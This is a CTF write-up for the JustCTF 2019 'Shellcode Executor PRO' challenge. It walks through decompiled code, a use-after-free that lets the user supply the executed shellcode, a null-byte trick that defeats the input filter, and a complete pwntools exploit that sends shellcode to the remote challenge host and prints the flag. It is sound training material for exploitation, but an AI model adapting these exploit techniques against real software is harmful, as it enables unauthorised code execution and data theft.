Contents

JustCTF 2019 - Shellcode Executor PRO Writeup

Your favorite shellcode testing service, now in the cloud!
nc 46.101.173.184 1446

The challenge only provides us with a non-stripped 64-bit binary. Running it gives us a menu with a couple of options as shown:

Checking the binary’s security flags:

Reversing

Firing up IDA, we find out a couple of functions:

Now, lets have a quick brief about what each function does:

  • main: it calls createShellcode then prompt us with the menu and executes functions based on our choice.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  signed int v5; // [rsp+Ch] [rbp-24h]
  char v6; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  puts("Shellcode Executor PRO");
  v3 = &v6;
  createShellcode(&v6, "Shellcode Executor PRO Demo Base", &demo_shellcode);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          printMenu();
          v5 = ((__int64 (__fastcall *)(const char *, const char *))getInt)(v3, "Shellcode Executor PRO Demo Base");
          if ( v5 != 3 )
            break;
          v3 = &v6;
          executeShellcode(&v6);
        }
        if ( v5 <= 3 )
          break;
LABEL_13:
        v3 = "Invalid choice";
        puts("Invalid choice");
      }
      if ( v5 != 2 )
        break;
      v3 = &v6;
      deleteShellcode(&v6);
    }
    if ( v5 > 2 )
      goto LABEL_13;
    if ( !v5 )
      return 0;
    if ( v5 != 1 )
      goto LABEL_13;
    v3 = &v6;
    downloadShellcode(&v6);
  }
}
  • createShellcode: it takes a pointer, name of the shellcode and the actual shellcode, allocates memory on the heap for both the name and the shellcode and stores the addresses in the pointer.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
_QWORD *__fastcall createShellcode(_QWORD *a1, const char *name, void *shellcode)
{
  void *src; // ST08_8
  void *dest; // ST30_8
  size_t v5; // rax
  char *v6; // ST28_8
  __int64 v8; // [rsp+20h] [rbp-20h]

  src = shellcode;
  LOBYTE(v8) = 0;
  dest = malloc(0x400uLL);
  memcpy(dest, src, 0x400uLL);
  v5 = strlen(name);
  v6 = (char *)malloc(v5);
  strcpy(v6, name);
  *a1 = v8;
  a1[1] = v6;
  a1[2] = dest;
  return a1;
}
  • downloadShellcode: it allocates memory on the heap then takes its value from stdin using fgets then calls verifyUrl on the input.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int downloadShellcode()
{
  char *s; // ST18_8

  s = (char *)malloc(0x400uLL);
  printf("Enter url: ");
  fgets(s, 1024, stdin);
  if ( (unsigned __int8)verifyUrl((__int64)s) ^ 1 )
  {
    puts("Your url contains incorrect characters, this incident will be reported");
    exit(-1);
  }
  return puts("For this feature you need to purchase the full version of our product");
}
  • verifyUrl: it loops over our input checking for invalid bytes <= 0x9 or that is what it looks like at least. Later on, we’ll find out that it does more than that.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
signed __int64 __fastcall verifyUrl(char *a1)
{
  int i; // [rsp+14h] [rbp-4h]

  for ( i = 0; a1[i]; ++i )
  {
    if ( a1[i] <= 9 )
      return 0LL;
  }
  return 1LL;
}
  • deleteShellcode: it only free the chunks we have stored in the pointer which was set earlier by the createShellcode function.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void __fastcall deleteShellcode(__int64 a1)
{
  if ( *(_BYTE *)a1 )
  {
    puts("This shellcode has already been deleted");
  }
  else
  {
    *(_BYTE *)a1 = 1;
    free(*(void **)(a1 + 8));
    free(*(void **)(a1 + 16));
  }
}
  • executeShellcode: it retrieves the shellcode from the heap and executes it after running restrictAccess.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int __fastcall executeShellcode(__int64 a1)
{
  void *dest; // [rsp+18h] [rbp-8h]

  printf("Executing shellcode from %s\n", *(_QWORD *)(a1 + 8));
  dest = mmap(0LL, 0x400uLL, 7, 34, -1, 0LL);
  memcpy(dest, *(const void **)(a1 + 16), 0x400uLL);
  if ( restricted != 1 )
    restrictAccess();
  puts("====================================");
  ((void (__fastcall *)(const char *))dest)("====================================");
  puts("====================================");
  return munmap(dest, 0x400uLL);
}
  • restrictAccess it restricts syscalls to only sigreturn, exit, exit_group, read, write, mmap, munmap using seccomp.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
__int64 restrictAccess()
{
  __int64 v0; // ST08_8

  puts("Your access to syscalls has been restricted. To get more syscalls purchase the full version of our product");
  restricted = 1;
  v0 = seccomp_init(0LL);
  seccomp_rule_add(v0, 2147418112LL, 15LL, 0LL); // rt_sigreturn
  seccomp_rule_add(v0, 2147418112LL, 60LL, 0LL); // exit
  seccomp_rule_add(v0, 2147418112LL, 231LL, 0LL);  // exit_group
  seccomp_rule_add(v0, 2147418112LL, 0LL, 0LL);  // read
  seccomp_rule_add(v0, 2147418112LL, 1LL, 0LL); // write
  seccomp_rule_add(v0, 2147418112LL, 9LL, 0LL); // mmap
  seccomp_rule_add(v0, 2147418112LL, 11LL, 0LL);  // munmap
  return seccomp_load(v0);
}

Analysis

Clearly our goal is to run our shellcode but with the rules applied by seccomp we have limited access to syscalls, it only make sense for the flag to be loaded in the memory. Simply looking at the binary’s strings we find out where our flag will be located:

Lets have a look at the demo shellcode, we know it’s located on the heap so we can get it from there easily instead of looking up for its global variable address:

So, this actually does what we need to do but instead of printing this demo text we want the flag so lets find where it is located. Interesting enough, we found it also on the heap in the same chunk of the shellcode:

That was because when the createFunction allocated the chunk, it allocated 1024 Byte and copied 1024 from the start of the demo_shellcode global variable and the flag was close by enough to get included.

We now have hint about what we need to do but we still need to work on the how. Looking back on downloadShellcode and deleteShellcode we notice a couple of things:

  1. downloadShellcode allocates a chunk equal in size to that of the shellcode in createShellcode.
  2. deleteShellcode frees the chunk the pointer is pointing to but the pointer is not nulled so it still points to the same chunk.

What happens if we deleted the shellcode then used the download function?

We took control of the shellcode that’ll be executed:

Bypassing the Verification

Now, we know that we need to write a shellcode to write the flag to stdout and we know how will we execute it. But we still have the function verifyUrl which exits when it gets invalid bytes <= 0x9.

We copied the shellcode from the demo and modified it with the flag offset and wrote a simple script to show us the opcodes to see if we’ll face troubles with verifyUrl.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *

context(arch='amd64', os='linux')
shellcode = asm('''
				xor	rdi, rdi
				lea	rsi, [rip+0x74]
				mov	edx, 0x59
				mov	eax, 0x1
				syscall
				ret
				''')

print disasm(shellcode)

Running the script, our answer was yes:

We have many invalid bytes. My first attempt to solve this was to reconstruct the shellcode with different instructions which I knew was the intended solution after contacting the admin after the CTF but now the way I solved it after all.

I constructed part of the shellcode with much less amount of invalid bytes:

But for some reason all bytes >= 0x80 also caused the binary to exit and I couldn’t understand why. After the CTF I asked the admin about the function it turns out the decompilation was inaccurate as the original function was:

1
2
3
4
5
6
7
8
bool verifyUrl(const char *url) {
    for(int i=0; url[i]; i++) {
        if(url[i] < 0x0a || url[i] > 0x7f ) {
            return false;
        }
    }
    return true;
}

I was stuck so I looked at the verifyUrl function again to notice this interesting line:

1
for ( i = 0; a1[i]; ++i )

The condition of the for loop was the character itself so what if we send a null byte at the beginning of our shellcode before any occurrence of any invalid bytes. Attempting to send '\x00' + shellcode to the binary, it worked and it didn’t check the rest of the shellcode but of course our shellcode now is messed up and won’t run.

Exploitation

The solution to send a valid shellcode with a null byte in the beginning was to have a useless instruction at the beginning of our shellcode that’ll have null byte in its opcodes before the occurrence of invalid bytes.

After a couple of trials I found that xor al, 0x0 satisfies my needs:

And the final exploit was:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context(arch='amd64', os='linux')
shellcode = asm('''
				xor	al, 0x0
				xor	rdi, rdi
				lea	rsi, [rip+0x74]
				mov	edx, 0x43
				mov	eax, 0x1
				syscall
				ret
				''')

# p = process('./shellcodeexecutor')
p = remote('46.101.173.184', 1446)
p.sendlineafter('> ', '2')
p.sendlineafter('> ', '1')
p.sendlineafter(': ', shellcode)
p.sendlineafter('> ', '3')
p.recvuntil('====================================\n')
log.success(p.recvuntil('}'))

Finally, running the exploit we get the flag: justCTF{f0r_4_b3tt3r_fl4g_purch4s3_th3_full_v3rsi0n_0f_0ur_pr0duct}